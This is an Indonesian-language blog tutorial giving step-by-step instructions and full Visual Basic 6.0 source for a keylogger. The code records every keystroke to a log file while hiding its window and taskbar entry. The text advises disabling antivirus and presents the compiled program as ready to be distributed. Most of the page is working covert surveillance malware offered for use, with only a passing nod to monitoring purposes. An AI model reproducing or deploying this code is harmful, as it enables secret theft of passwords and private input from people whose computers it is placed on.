Membuat Keylogger Dengan Visual Basic 6.0

Membuat Keylogger Dengan Visual Basic 6.0 -Keylogger adalah sebuah program yang dibuat untuk merekam pengentrian data melalui keyboard dan memasukanya ke dalam log (catatan). Tapi seiring berkembang versi dan tipenya, kini keylogger pun bisa merekam aktifitas mouse, clipboard,web browser dan visual surveillance (gambar hasil capture otomatis layar monitor). Keylogger terbagi dalam dua jenis, yaitu jenis hardware dan software. Tentunya jenis software lebih praktis digunakan dan pula lebih aman. Keylogger awalnya digunakan untuk keperluan positif, seperti memonitori aktifitas-aktifitas pekerja atau anak yang menggunakan komputer. Tapi saat ini banyak para hacker  menggunakan sofftware ini untuk keperluan negative, seperti memasangnya di komputer-komputer milik perusahaan, warnet, komputer perorangan dll. Tentunya semakin banyak penyalahgunaan software tersebut semakin kuat pula keamanan sistem komputer. Hampir semua antivirus sekarang sudah bisa menditeksi keberadaan keylogger ini. Oleh karena itu, saat penginstalan aplikasi ini anti virus harus di unisnstal atau di disable kan protection nya dahulu.

Untuk membuat Keylogger menggunakan Visual Basic 6.0 Berikut Caranya

1. Buka Visual Basic 6.0 --> Standart EXE

2. Setelah itu tambahkan sebuah timer ( pada bagian kiri ) dengan nama Timer1 yang intervalnya 1

           

3. Setelah itu tambahkan Code di bawah ini ke dalam form :




Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
    kode As Integer
    bawah As String
    atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
    IndexList = IndexList + 1
    List(IndexList).kode = kode
    List(IndexList).atas = atas
    List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
    AddToTable i, Chr(i), Chr(i + 32)
Next i
    AddToTable 48, ")", "0"
    AddToTable 49, "!", "1"
    AddToTable 50, "@", "2"
    AddToTable 51, "#", "3"
    AddToTable 52, "$", "4"
    AddToTable 53, "%", "5"
    AddToTable 54, "^", "6"
    AddToTable 55, "&", "7"
    AddToTable 56, "*", "8"
    AddToTable 57, "(", "9"
    AddToTable &H60, "", "0"
    AddToTable &H61, "", "1"
    AddToTable &H62, "", "2"
    AddToTable &H63, "", "3"
    AddToTable &H64, "", "4"
    AddToTable &H65, "", "5"
    AddToTable &H66, "", "6"
    AddToTable &H67, "", "7"
    AddToTable &H68, "", "8"
    AddToTable &H69, "", "9" '
    AddToTable Asc(" "), " ", " "
End Sub

Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    Build_Table
End Sub

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\mylog.txt") <> "") Then
    FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
    Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
    If (b = -32768) Then
        AddToFile List(i).atas
    Else
        AddToFile List(i).bawah
    End If
    Exit For
End If
Next
End Sub



4. Setelah Selesai Compile dan Keylogger siap diedarkan


Download Source